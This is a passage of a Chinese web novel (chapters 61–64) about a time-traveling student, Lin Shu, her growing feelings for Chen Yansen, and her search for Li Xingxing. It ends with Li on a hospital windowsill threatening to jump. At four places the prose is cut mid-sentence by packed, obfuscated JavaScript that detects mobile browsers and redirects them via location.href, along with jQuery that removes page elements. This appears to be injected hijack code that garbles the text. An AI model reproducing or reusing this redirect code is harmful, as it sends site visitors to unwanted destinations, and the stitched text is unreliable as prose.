待他们走远,尚爷爷开口道:“这根手绳不是你老朋友给你的吗?怎么送给这个小姑娘了?” 钟奶奶望着他们身影消失的路口,轻轻道:“这也算是物归原主了。” …… 两人回到民宿,一推开门,院子里正好传出哄笑声。咖喱见他们回来,就招呼他们:“过来一起玩呀!” 陈彦森问:“你们在玩什么?” “破冰游戏。”咖喱说,“快来快来,很好玩的。” 陈彦森问:“咱们不是要开会吗?” 咖喱:“难得大家玩得开心,我们明早开早会时再一起说吧。快来嘛!” “来!”陈彦森满口应下,坐在咖喱身旁。 咖喱又向林舒招手:“林舒,你也一起吧!” “不了,谢谢。”林舒艰难挤出一个笑容,摆了摆手,“我有点累,先上楼休息了。” 咖喱:“那行,你早点休息哈,我们明天见。” “明天见。” 上楼前,林舒回头看了眼,只见陈彦森已融入欢快的氛围中,笑得前仰后合。 这一世的陈彦森,无论是跟她记忆中前几世的他,还是上一世的他都很不一样。 按照上一世楚洛西的说法,八岁前,他调皮捣蛋;八岁至十五岁,他变成了哥哥的模样,乖巧懂事;十五岁至十八岁,他性格乖戾,行事风风火火的,毒舌,冷漠少言;十八岁后,他与林舒逐渐走近,性子开朗起来,话慢慢变多。 虽然他的性格经过多次转变,林舒也摸不清他十五岁至十八岁这三年性格变化的原因,但是能明确的是,他八岁后的性格变化是随着境遇所改变的。无论怎么变,都不该是现在这样。 他现在的表现,与上一世的他没有一点能对得上。 真的太社牛了。 林舒只能找到这个词来形容他。 她打开房门,反手想要关上时却发现怎么都关不上。怎么回事?林舒心下一沉,加大手上的力度。 门缝处传来叫声:“林舒!林舒!你要压死我了!” 是王璐璐的声音。林舒赶紧松手,把门打开至最大。 王璐璐站在门外,喘着气说:“我说,林舒你,怎么叫你都不停啊。” “不好意思,我没听见。”林舒抱歉地说,“你的手没事吧?” “没事没事。”王璐璐走进房间,仰头喝了一杯水,“我回来是想跟你说,我今天把遇见的所有岛民都问了一遍,他们都说不认识李星星,也没见过有这样特征的女性。” 王璐璐见她有些气馁,安慰道:“不过没关系,这才第一天嘛,我们还有时间。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15178177|157442||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >有人陪着,这条路便没那么难走。林舒动情地说:“谢谢你,王璐璐。” “没事,小意思。”王璐璐大大咧咧道,“对了林舒,你待会洗个澡要下来跟我们玩吗?真的挺好玩的,大家都很有意思。” “不了,我想休息下。”在外一整天,她身心俱疲,是在打不起精神了。 “那行,”王璐璐也不勉强,“你洗完澡跟我说一声,我也回来洗澡,免得我晚回来打扰你睡觉了。” “你真贴心。”林舒笑道。 “那我走啦。” “拜拜,玩得开心。” 翌日早晨八点,所有志愿者在一楼集合开早会。今天早会主要是总结昨天工作情况,并对今天工作提出新的要求。会议半小时结束,八点半,大家向各自岗位出发。 林舒戴着宽檐帽子,穿着防晒外套和长裤,把自己裹得严严实实的。要不是条件不允许,她还想在头顶支把伞。 反观咖喱和陈彦森,两人穿着短袖短裤,洒脱地暴露在阳光之下,毫无顾忌。 走着走着,林舒发现他们不只是穿着相似,两人并肩走在前面一路谈笑风生,熟络得都快勾肩搭背称兄道弟了,反而林舒一个人落在后面,显得格格不入。 这个情况一直持续到午休吃饭。陈彦森和咖喱并排坐着,边吃饭边聊天。林舒竖起耳朵,听到他们在说蔡文姬。 蔡文姬?林舒心想,东汉末年的才女蔡文姬吗?他们这么有文学造诣,好不容易高考完了还聊历史? 接着,又听到他们说了几个词,有些她听不出具体是哪几个字,能记下的只有两个词:辅助和回血。 林舒顾不上吃饭,把手机放在桌底下,低着头偷偷打开浏览器,输入关键词:蔡文姬,辅助。 2015年的网速已经蛮快了,网页迅速从搜索框跳转到相关答案,林舒一眼就抓取到关键词:王者荣耀。 哦,原来他们在聊游戏啊。 那没事了。 她插不上话。 她拿着勺子挖到饭盒最底部,舀了一大口饭,不顾死活地塞进嘴里,用力嚼着。对面两人凑在一起看手机,根本没人注意她。 林舒三下五除二扒完饭,把饭盒往前一推,用稍高于往日的音量说:“我吃完了。” 没有回应。 她气冲冲站起身,又说:“我走了。” 这下咖喱才抬起头,说道:“先午休一下吧,现在外面太晒了。”说完,她又低下头去看手机。 而坐在她旁边的陈彦森,至始至终没有抬起头来。 这死男人,见色忘义!林舒气鼓鼓地拿起饭盒离开座位,走在一边坐下。 她心中不忿,下午结束工作一起回民宿时,仍然一个人走在后头,跟陈彦森保持距离。 陈彦森没有察觉到她的不妥,回头对她说:“林舒,尚爷爷刚刚给我发信息,说今天有新鲜的海鱼,邀请我们去他家吃饭。” 林舒眼皮都不抬,看着脚尖走路,爱答不理道:“你跟我说做什么?” 陈彦森对她的情绪依旧毫无察觉:“友好询问林小姐,有没有兴趣跟我一起去吃饭。” 林舒心中有气:“他给你发信息,是叫你去,你爱带谁去带谁去。” 陈彦森不解:“我当然是叫上你一起去呀,我们昨天才一起去了。” “你昨天带我去,今天带别人去,很合理。”她又补一句,“比如咖喱,我看你们就很聊得来。” 陈彦森停下,他明白了。 脸上带着笑意一步步靠近:“你……是在吃醋吗?” 62. 第五世(二十五) 男孩逆光而站,余晖落在他的肩上,像扑着翅膀的蜻蜓。 “你想多了。”林舒后退。 “是我想多了吗?”陈彦森前进一步。 “是你想多了。”林舒再后退。 脚下踩中坚硬的东西,林舒重心一歪,身子向一边倾去,慌乱下她连忙伸手想要抓住点什么,下一秒腰间多了一道力,将她的身子稳住。 她抬眸,对上一张俊朗的脸。 两张脸靠得很近,近得她能看到对方脸上逆着光的小绒毛,真像猕猴桃啊,她心想,嘴角不禁扯起一丝淡淡的笑。 腰间的力道突然增加,她被往上提了一下,眼前的那张脸离她更近了些。 温热鼻息轻轻喷在她的脸上,少年身上淡淡的青草味钻进她的鼻孔。腰间是一张宽大厚实的手掌,掌心的温热一点点从腰间蔓延到心脏,滋养着一下下跳动的心脏愈发活跃。 许是夏季温度太高,阳光太烈,心跳太快,她的脸颊慢慢泛红,一直延申到耳根、脖子,整个人微微发烫。 她回过神来,慌乱下起身。 这起身速度太快,她根本控制不好力度,起身瞬间发梢轻轻擦过他的脸颊,两人的距离比刚刚更近了。 但下一秒,她已站稳,又后退几步,直到脚后跟抵住墙角为止。 陈彦森见她慌乱笨拙得可爱,忍不住继续逗她:“你怎么脸红了?” 脸红?!她心一惊,摸了摸脸,果然滚烫,天啊,被他发现了! 但她嘴硬:“被太阳晒的。” “哦。”陈彦森不再说话,只浅笑着看她。 林舒被看得浑身不自在,丢下一句“我走了”就匆忙离开。 陈彦森朝她背影喊:“今晚不跟我去尚爷爷家吃饭吗?” “不去!”声音已经远去。 陈彦森静静伫立在巷口,看着女孩离去的方向。她的发梢在脸上留下的触感仍旧清晰,淡淡的清香味钻进鼻孔久久没有消散。 他就这么站着,看着,盯着女孩离开的拐弯处,总觉得她其实并没有离开,还好好地留在他身边。 …… 林舒回到民宿。 王璐璐见她回来,兴奋地向她招手,“宝贝儿,快来,坐我这。” 大家围坐在炭烤炉前,有的在串鸡翅,有的在给烤串刷上蜂蜜,有的在给烤串翻面,有的在调酱汁,各有各忙。 王璐璐用小刀将茄子切开,放在烧烤架上,拿起小刷子往上刷酱汁。一滴油从烧烤架上滴落炭火中,小火苗咻一下往上窜,灼烧茄子的表面,茄肉上的酱汁滋滋作响。 “好香啊!”林舒吸了吸鼻子,觉得心情都开阔了。 这就是美食的魅力,什么压力和烦恼都在一瞬间消散了。 “饿了吧。”王璐璐说。 “饿了,”林舒一边串烤串一边说,“太饿了。” 王璐璐:“你想吃什么?我给你烤。我跟你说,我这烧烤手法可是一流的。” “烤鱿鱼和烤虾!” “得嘞,你先休息下,马上就能吃了。” “我去拿饮料,你想喝什么?”林舒问。虽然烧烤帮不上忙,但是也不能真干坐着等吃,得找点事情做。 王璐璐:“雪碧,谢谢。” “好。”林舒应道,起身去冰柜拿饮料,恰巧碰见咖喱在一旁的水龙头下洗菜。 “林舒。”咖喱友好打招呼。 “嗨,”林舒看到咖喱身旁放着两个大大的菜篮子,放下搭在冰柜上的手,“咖喱,我也来洗菜。” 咖喱:“不用,你今天工作也累了,去烤东西吃吧。” 林舒笑了:“你今天不也工作了。” 两人相视一笑,低头洗菜。 咖喱看了林舒一眼,又回头看了看院子,说:“就你一个人回来,陈彦森没回来吗?” “他啊……”林舒没有预料到她会问得这么直接,心情有些复杂,一时不知怎么回答。 迟疑片刻,她才说:“他说他有点事,就不回来吃了。” “哦……这样。”咖喱表情神秘,“我看你们是同学,关系不错,有个事情想偷偷问问你哦。” 仿佛回到小学中学时代,隔壁班的同学悄悄向她打听暗恋男生的时候。 林舒的心一下子提起来,但也只能硬着头皮说:“我跟他其实也不是很熟……不过我知道的肯定告诉你。” 咖喱问:“你知道李星星是谁吗?” 林舒愣住,她以为咖喱会问关于陈彦森的事情,比如他的喜好、性格之类的,没曾想竟是一个完全不相关的名字。 她松了口气,紧接着提起精神。一来,咖喱问的不是陈彦森的事情;二来,她居然从别人口中听到李星星的名字,这是不是说明是有希望能找到人呢! 她马上说道:“你也认识李星星吗?她是我的网友,我正一直找她呢。” 咖喱“哦”了一声,一副恍然大悟的样子:“原来是你在找她呀。”没等林舒说话,她又继续说:“今天陈彦森让我帮忙问一下有没有人认识李星星,大概25岁的女生。” “陈彦森问你?”林舒皱起眉头,一时理不清其中的含义。 咖喱点点头,而后轻笑:“那一切都说得通了。” 这什么跟什么呀,林舒听得一头雾水。她看着咖喱,语气因思考而缓慢:“我没懂。” 咖喱用食指点了点她额头,笑道:“小妹妹,你还不懂吗?” 她三两下把剩下的菜洗完,看林舒还在发呆,接过她手中的菜,指了指她身后说:“璐璐叫你。” “啊?”林舒这才回过神来,回头见王璐璐朝自己招手,才想起自己是过来拿饮料,连忙拿了两瓶雪碧回到座位。 “不好意思,”林舒说,“刚刚跟咖喱聊了两句。” “没事,我就是怕你饿着了,你还正是长身体的时候呢。”王璐璐把茄子肉挑出来放进林舒碗里,“快吃吧。” 林舒端起装得满满当当的碗,一时百感交集。她觉得自己很幸运,即使是来参加短期志愿者活动,都能遇到很好的人。 “谢谢。”她在心里说。泪水在眼眶中打转,她不想被人看见,猜忌她落泪的原因,把头低得很深。 吃饱喝足,她借口说吃太撑要出去散散步消食,一路走到尚爷爷钟奶奶家门前的拐角处。 她的身子隐在暗处,鬼鬼祟祟往外探头,刚好看到陈彦森从尚爷爷家出来。 陈彦森转头对送他出门的二老说:“别送我啦,你们快回屋吧。” 钟奶奶:“你们的志愿活动到什么时候啊?” “八月中旬。怎么,这才刚开始,奶奶就开始舍不得我了吗?”陈彦森拍了拍胸脯,“奶奶放心,我只有一有空就过来。” 尚爷爷声音里带着笑意:“她啊,是惦记着小舒呢。” 陈彦森委屈道:“是我自作多情了,那我撤了。”说完,他装作 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15188073|157442||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 转身要走。 尚爷爷叫住他:“诶诶,小森,我们很欢迎你多来吃饭。” 等陈彦森回过头,尚爷爷又说:“记得带上小舒就行。” “尚爷爷!”陈彦森不满地嘟囔一句,“你就喜欢林舒,不喜欢我。” 尚爷爷:“男子汉大丈夫,要心胸宽广。” “好好好,我知道啦。”陈彦森挥了挥手,“我开玩笑的。” 尚爷爷:“路上注意安全。” “男子汉大丈夫,区区夜路我不怕。”陈彦森面朝尚爷爷,身子一步步往后退,“你们快回去吧,外面蚊子太多了。” 直到尚爷爷扶着钟奶奶回屋关上门,陈彦森才回过身,打算往民宿方向走,却被身前突然冒出的黑影吓了一跳。 他蹙眉定了定伸,虽然夜色昏暗,路灯稀疏,看不清对方的长相,但是这个轮廓太熟悉了,他几乎可以是脱口而出:“林舒?” 林舒撇了撇嘴:“怎么?被我吓一跳,你心里有鬼啊?” 陈彦森无奈道:“你这么突然杵在这儿,不被吓到的才是鬼好吧。” 林舒小声“嘁”了一声,不予置评。 陈彦森看了看四周,没人,她是一个人来的,心中暗喜,但表面不动声色:“你是出来散步的?” 跟咖喱聊完知道真相后,林舒整顿饭都心不在焉的,所以也很直接:“不是,我是特意在这等你的。” 陈彦森倒是没想到她会这么坦白,倒有些措手不及了:“等我?” “对。”林舒直入正题,“你在找李星星?你认识她?” 她很认真,抬头直视他的眼睛。那眼神该怎么形容呢?惊讶、急切、疑惑。也不知道她在这等了多久,怀着怎样的心情在等。 他诚实作答:“昨晚你跟钟奶奶说的话,我都听见了。抱歉,我不是故意偷听到的。” “那……你为什么要帮我找人呢?” “因为那不是我第一次听见这个名字了。”他的声音很轻,即使两人面对面站着,林舒也觉得他的声音从远方来。 他说:“你还记得高一国庆我们一帮同学去电玩城吗?我们走的时候有个小女孩晕倒在地,你冲进雨里给她做心脏复苏,当时,你就一直喊着这个名字。” 陈彦森垂眸,在夜色下他的眼眸更是深如水,“李星星。” “这么小的事,你,”林舒觉得有些不可置信,迟疑着问,“你一直记得?” “怎么会是小事呢?”陈彦森手插兜里,俯下身,直视她双眼,“你的事,都不是小事。” “你……” 距离突然拉近,这让她马上回想起傍晚时他扣在自己腰上的手,当时,两人就是这么对视着的。 光是想想,她都觉得脸红得发烫。不能再想了!她赶紧后退一步,扭身就走。 陈彦森追在她后面:“林舒,林舒,怎么说不到两句就走了呢?” 林舒头也不回,快步向前走,“我要睡觉了。” 陈彦森:“钟奶奶说很想你,想你多去她家吃饭。” “这不用你唠叨,我会的。” “还有……” “什么?” “以后读大学了,每年寒暑假,每个周末,我都可以陪你来海莲找人。” 这是少年最真心、真诚的承诺。 完了,林舒听着自己砰砰的心跳声,心想,她快把持不住了。 她好像,真的喜欢上他了。 63. 第五世(二十六) 为期一个半月的志愿活动结束,分别前王璐璐抱了又抱林舒,不舍道:“等寒暑假你要再来呀,我还要做你室友!” 林舒知道,这趟回南苑,她要严格按照上一世轨迹生活才能弥补大部分遗憾,所以大概率是没办法再参加活动了。但她不忍说出口,只说道:“璐璐,我会一直一直记住你的。” 她又去跟尚爷爷和钟奶奶告别。钟奶奶紧紧握住她的手,一遍又一遍地叮嘱:“小舒,你要好好吃饭,多吃点肉,千万不要为了减肥不吃饭;要好好睡觉,不要熬夜,熬夜对身体不好。还有还有,多喝水,一定要多喝水,把身体的毒素排出去。” 林舒点头如捣蒜:“钟奶奶,我会照顾好自己的。” 志愿者领队在不远处喊集合,钟奶奶仍不舍得松手,仍念叨着:“大学是最美好的阶段,你要多去体验,去感受,不要怕出错。” 尚爷爷担心他们错过离开大沥岛的车,只能将两人的手分开,说:“快走吧孩子们,这是今天最后一班离岛的车了。” 陈彦森拉着林舒的手臂往外走,林舒只得跟着他走,但身子还朝着钟奶奶:“钟奶奶,我会想你的。” 钟奶奶摇摇头:“别想我,孩子,别惦记着我们。你要走得更高看得更远,别总是回头看。” “奶奶……” “向前看吧,孩子。”钟奶奶慈爱地注视着她,微笑着说。 林舒没有跟爷爷奶奶、外公外婆相处的记忆,也没有长时间跟老人相处的经历,这次跟尚爷爷、钟奶奶一个半月的相处,让她第一次知道被老人宠爱、惦记是怎样的感觉。 因为知道终有分别的一天,也因为她厌倦了别离,所以一开始她并不想投入个人感情。但是在跟二老一起吃过好多顿饭,一起看过好多次夜空,一起促膝长谈了好多次之后,她发现自己还是在无意中投入了太多感情。 她惦记了,她舍不得了。 所以在离开的时候,她落泪了。 林舒回头,看到尚爷爷扶着钟奶奶走进屋里,他们的步子很慢,但是方向是一致的。有对方陪伴着,大概也不会孤独吧。 她最后再望一眼这片大海,这片沙滩和这片天空,如果有机会,就再回来一次吧。见见王璐璐,见见尚爷爷,见见钟奶奶,见见这些真心对她的人。 …… 半个月后,大学开学。来到这个时期,相当于是重复第四世生活,林舒推开宿舍门,正在整理床铺的李洛诗抬头朝她腼腆一笑,她的眼眶不自觉红了。 洛诗,我们又见面了,真的好想你啊。 接下来每一步都按部就班往下走,军训、国庆回校探望高中老师、加入青协社团、给李洛诗和刘沐鑫创造机会。按照既定轨迹,大一暑期,她和陈彦森随着队伍来到吉祥村小学支教。 她将张绵绵和楚卿出事的时间节点写在小本子上,放学后留下张绵绵在学校吃晚饭,自己去玻璃厂邀请张绵绵妈妈下班后过来一起吃;赶在楚卿被迫退学之前和魏纪歆去家访,提出资助楚卿继续读书的计划和条件。 因为有充足的经验,站在上帝视角去解决这两件事还算蛮轻松的,上一世发生在两个孩子身上的事情都没再发生,林舒心头大石落下,吃完晚饭后独自一人坐在藤椅上晒月光。 她过于放松,完全沉浸在自己的小世界里,根本没留意到有人靠近,所以陈彦森开口说话的时候,她被吓得从藤椅上弹起来。 陈彦森看到她这么激烈的反应,一脸委屈:“干嘛啊,我又不是坏人。” 林舒:“谁家好人走路没声的?偷偷摸摸靠近我,说,你有什么企图。” 陈彦森搬着小凳子在她旁边坐下,“聊天。” “聊啥?” 在这样静谧的夜空下,林舒的语气也跟着轻快,未曾想陈彦森开口却是说:“你记得高一义卖的时候,有个师兄说我是残疾人的弟弟吗?” 这是她始料未及的话题,她不由得坐直,回应道:“记得。” “其实按理说,我应该早跟你说是怎么一回事,但是我当时没有勇气。现在跟他们在一起的日子,让我想起我跟哥哥在一起的时候。”陈彦森抬头看向夜空,“我想跟你说说我哥哥。” 这段对话本应该发生在几年后,她从楚洛西口中得知陈彦柏的事情后去找陈彦森时才发生的。但现在事情提前了,这是不是说明,他们的关系比上一世更亲近了? 上一世,一开始她视陈彦森为两肋插刀的好同学。从关系稍好的同学,到后来在流淌的岁月中一点点读懂他的心意,她花了些时间看清自己的内心,又花了些时间说服自己放下心结靠近他,挣扎着、犹豫着,她的爱始终不够坦荡和敞亮。 这一世,他们比上一世早了三年靠近彼此,角色互换,她成了最早动心的那个人。她克制着,却又忍不住靠近,靠近又后退,后退又觉得心里空落落的。一方面,她清楚自己喜欢他,喜欢一个人就会想要跟他黏在一起;但另一方面,她又担心重蹈覆辙。 其实直到现在,她也不知道该怎么跟他相处才属于上策。 林舒认真听陈彦森讲完,即便是听过几次的故事,她依然听得很认真。她说:“你愿意跟我说这些,我很高兴。” 陈彦森看着她,眼神炽热,“如果你愿意听,以后我可以跟你说更多故事。” 林舒感受到他的目光,也读懂他话中的意思,但一如上一世,她不知道该如何回应,也不敢回应。或者说,她比上一世更懦弱,像一个把头塞进沙子里的鸵鸟一样,用沉默回避问题。 陈彦森又说:“你放心,在你做好准备之前,我是不会说那些话的。我们可以就做普通同学。” 林舒看他一眼:“你知道我的秘密,我也知道你的秘密,我们这还算普通同学吗?” 陈彦森笑了:“那就是朋友,好朋友。” “好朋友。”林舒重复一遍。 陈彦森:“你不要有压力,我们就正常相处。能走到哪都算缘分,好吗?” 他永远这样,为她考虑,给她选择,让她心安。 那就,听他的。 …… 支教结束后,林舒和陈彦森回南苑前去了一趟海莲,他们没有去大沥岛,而是在市区待了两天。林舒通过李星星选择在妇幼医院生孩子的线索,推测她家应该就在医院附近,主要在妇幼医院附近的居民区找。 陈彦森也不问李星星是她什么人、为什么要这样大费周章地找,顶着大太阳到处溜达,见人就问。 虽然最后还是无功而返,但起码做了排查,有了一定思路,下一次来还是有希望能够找到的。 林舒回到南苑。上一世这个时间点她回 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15200089|157442||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到家吃好住好,每天躺在床上休养生息等开学,这一次她推开门发现家里空无一人,迎接她的只有沉默的家具,巨大的落差填满整颗心。 但她很快打起精神来,简单收拾了杂物,打开冰箱取了些食材做了两菜一汤。她在盛饭的时候,丁敏刚好推门进来。 丁敏看到林舒已经回来做好饭了,很是惊讶:“哎呀,我还想着我回来做饭呢。你这一去就是将近两个月,回来怎么不休息一下?” 林舒端着饭出来,笑着答:“那你还每天都要去上班呢,就不需要休息了吗?” 丁敏:“我是妈妈呀,妈妈不累。” 林舒:“妈妈又怎样,妈妈也是人,人都是会累的。” 丁敏摸摸她的脑袋,温柔地说:“妈妈不累,别担心啊。” 林舒不认同丁敏为这个家、为家人无私奉献的想法。她认为人首先得是自己,其次才能是妻子、母亲、老板的员工、同事的搭档。 上一世,丁敏为了她,把个人感受放在末位,选择原谅了出轨的丈夫,终日郁郁寡欢,却还要在人前戴着面具装作开心美满。这一世离婚后,丁敏每天奔波忙碌,但还是将这个家打理得井井有条。 林舒的水杯一直装着水,被子常有太阳的味道,橡皮筋整整齐齐地待在洗手台上,饭碗里的板栗和虾永远是剥好壳的。她有单独一套印着大象图案的餐具,找不到的东西喊一声“妈”就会出现。 她习惯了这一切,她以为生活原本的样子就是这样的。 现在她发现自己错了,生活不是理所应当就是这样的,是因为有了妈妈才会这样的。 她轻而易举地拥有了一切,是因为妈妈爱她。 她叹了口气,对丁敏说:“妈妈,休息两天,我带你去迪士尼玩,好吗?” 丁敏原本在吃饭,听到林舒这么说不由得瞪大眼睛:“迪士尼?迪士尼好贵的,好几百一张门票。” 林舒耐心解释:“我做家教攒了点钱,这笔钱足够我们两人的花费,并且还有结余。” 丁敏还是拒绝:“你赚那点零花钱就留着自己用吧。或者你找同学陪你去,妈妈就不去了。” “可是妈妈,”林舒看着丁敏的眼睛,声音开始哽咽,“我想跟你一起去。” 小时候家里条件一般,丁敏只能带她去免门票的公园,园内要额外花钱玩的游戏设备传出孩子们的欢笑声,林舒被吸引着望去,很是憧憬。 丁敏蹲下身,拉着林舒小小的手,问:“想玩吗?想玩的话妈妈买张票。” “那你呢?”林舒奶声奶气地问。 “妈妈不玩,妈妈看着你玩就很开心。” 她总是这样,为什么全世界的妈妈都这样,总是委屈自己,把拥有的最好的东西一股脑塞给自己最珍视的人,却唯独忘了自己。 丁敏停下筷子,面对林舒的反应十分愕然。在林舒闪烁的泪光中,她逐渐明白了,点头轻声说:“好,这次妈妈陪你去。” “那你不只要陪我去迪士尼,还要陪我去好多好多地方。” “傻瓜,妈妈会陪着你的,一直一直陪着你。” “一直是指多久?” “指的是,永远,永远陪着你。” “那——我们一言为定。谁骗人是小狗。” “妈妈怎么会骗你呢?” 64. 第五世(二十七) 结束了充实美好的暑假,林舒迎来大二生活。在饭堂门口接到竞赛宣传单时,她有一刻失神。 她没有像上一世那样第一时间就告诉陈彦森,并邀请他一起参加竞赛,而是将它收进书包里,直到回到宿舍等熄灯后才拿出来。 她摩挲着宣传单张,一时拿不定主意。 一旦参加竞赛,决赛时间与李星星出事时间有冲突,她很可能就会像上次那样赶不上; 但如果不参加竞赛,可能会影响陈彦森的择业观。如果他不创业,几年后刘沐鑫被裁后也就没有陈彦森的公司为他兜底,从而李洛诗和刘沐鑫积压的问题在这一时刻爆发,李洛诗的抑郁症极大可能会促使她最终选择自杀。 可以说,在一定程度上,是因为陈彦森这家运营得不错的公司,她珍视的朋友们得以生活得不错。 林舒就这么攥着这张宣传单张,坐在阳台,看着天边一点点亮起来。 她的决定也是在这一刻慢慢明晰。 竞赛是一定要参加的,李星星也是一定要救的。还有将近一年时间,她一定能兼顾二者的。 跟上一世一样,林舒迅速组建起六人参赛队伍,分好工,各司其职。因为她有参赛经验,所以她工作起来效率奇高。利用省下来的时间,她在各大网站上晃悠,留下寻人帖子,期望可以找到李星星。 只是很可惜,这些寻人帖子都石沉大海,没有回音。 她也趁着周末和假期去海莲,但依旧无功而返。 原来在2017年的信息时代,想找个人还是这么难。 林舒只得寄希望于决赛当日。 8月17日,决赛日,主持人一公布完结果,林舒就一个箭步冲出去,扬手拦了辆出租车,直奔妇幼医院而去。 她的动作又快又突然,等大家反应过来的时候她已经消失了。李洛诗急得快哭了,要马上出去找她,被陈彦森拦住了。 “我去找她,你们按原计划登机。”他边背上书包边说,“不要等我们。” 李洛诗直跺脚:“这台风马上要登陆了。” 陈彦森:“正因如此,你们才要马上去机场。无论我们有没有赶上,你们都要登机。” “那,陈彦森,”李洛诗抓着他的手臂,“拜托你一定要找到林舒,一定一定要照顾好她。” “放心,我会的。”陈彦森快步离开会场。 另一边林舒已来到妇幼医院,她凭借记忆来到产科病区,看到电梯还在高层,转身到安全通道,一鼓作气跑上五楼。 跨进走廊那一刻,两个时空林舒的身影似乎重叠在一起,奋力向候诊室奔去。幸运的是,这个时空的林舒没有听到那声沉闷的响声。 走廊尽头围着一群人,传出尖锐的争执声,林舒赶紧跑过去,拨开人群,果然看到穿着病号服的李星星跪在地上,嘴里苦苦哀求道:“让我剖腹产吧,太疼了,真的太疼了……” 站在她对面的中年妇女则说:“哎呀,都说顺产的娃更聪明,抵抗力更强,你就当是为了孩子,再忍一忍,忍一忍就过去了啊。” 李星星用转而用祈求的目光看向隔壁那位男士。男士看了看中年妇女,又看了看李星星,支支吾吾道:“星星,我们听妈一次,好吗?” 服了,什么狗屁妈宝男,一点常识和判断力都没有,快三十岁人了还无脑听妈妈的话。 林舒气冲冲走到他们跟前,用身子撞开那对母子,弯腰小心扶李星星起来:“地上凉,别跪着了。” 她搀着李星星到一旁的长凳坐下,转身先是对男子一顿狂喷:“你没事吧大哥?你老婆疼得都给你下跪了,你还在犹豫?你告诉我,你到底在犹豫什么?你是因为喜欢她所以娶她,还是为了她的子宫才娶她啊?她现在是孕妇,这么脆弱无助的时候,你不站在她这边,替她的身体考虑,还配做她老公吗?” “还有你,”林舒转向那个中年妇女,“有你这么当婆婆的吗?你配吗?你儿媳妇疼得尊严都不要了,就这么跪在冷冰冰的地板上,你还能惦记着顺产的孙儿更聪明啊?说真的,我真挺佩服你的,佩服得五体投地!怎么地,顺产的小孩能上清华北大,剖腹产的小孩就只能捡垃圾吗?你没事儿吧?” 那中年妇女可不是善茬,一开始是林舒出现得太突然了,她还没来得及反应过来。现在她可是完完全全反应过来,指着林舒的鼻子开骂:“哪里冒出的有娘生没娘养的兔崽子,满嘴脏话在这里放屁!我告诉你,别以为你是小孩子我就不敢骂你,这是我的家事,天王老子来了我都照样骂!你咸吃萝卜淡操心啊,关你什么事儿啊?这里有你说话的份儿吗?我劝你识相点的就马上给我滚蛋,不然我就叫保安了啊!” 林舒一直站在李星星身前,挡着这两个嘴脸丑恶的人,现在被骂也是一点不退缩。她冷笑一声道:“叫,赶紧叫,我还求你赶紧叫,用不用我帮你叫?你叫保安,呵,我还叫警察呢,我叫 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15203589|157442||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 警察把你们这对无良母子抓牢里去!” “放屁!”中年妇女一张嘴,唾沫星子满天飞,“我犯法了?抓我,呵呵,我犯法了吗就抓我,你以为监狱是你家开的吗?” 林舒不甘示弱,回敬道:“你这是要逼死人啊!这还不够你进去蹲十年八年?!” 两人你一句我一句的,吵得面红耳赤,引得围观人越来越多,小声议论着。医生护士眼见场面越来越混乱,影响到其他病人,赶紧出去阻止,但那中年妇女是越想越气,在推搡中趁乱用力推了林舒一把,林舒摔在身后的椅子上,头往墙上一磕,疼得眼冒金星。 护士赶紧过来扶她,急切地问:“你还好吗?” 不,这都不是重点,通通不是重点。林舒忍着痛往旁边的长凳上一摸,摸空了,完了,她马上腾一下站起。 李星星不见了。 她跌跌撞撞挤出人群,踏进候诊室门口,一阵冷风迎面扑来。 候诊室的窗户大开,白色的窗帘被吹得很高,李星星跨坐在窗台上,背对着门口。 “李星星!”林舒惊叫,“你这是做什么?!快,快下来!” 她想要往里继续走,却被李星星呵住了:“谁都不许再靠近!不然我就马上跳下去!” 此时走廊的医生、护士、李星星的丈夫和婆婆都听到响声,纷纷赶到候诊室门口,看到此景,所有人都倒抽一口凉气。 李星星婆婆:“哎呀星星!你是做什么啊!你就不能为你肚子里宝宝着想吗?” 李星星没有理会她,而是对林舒说:“小妹妹,你是怎么知道我的名字的?” “你下来,”林舒眼含泪水,声音颤抖道,“你下来我就告诉你。” 李星星轻轻一笑,扭过头,面朝窗外。 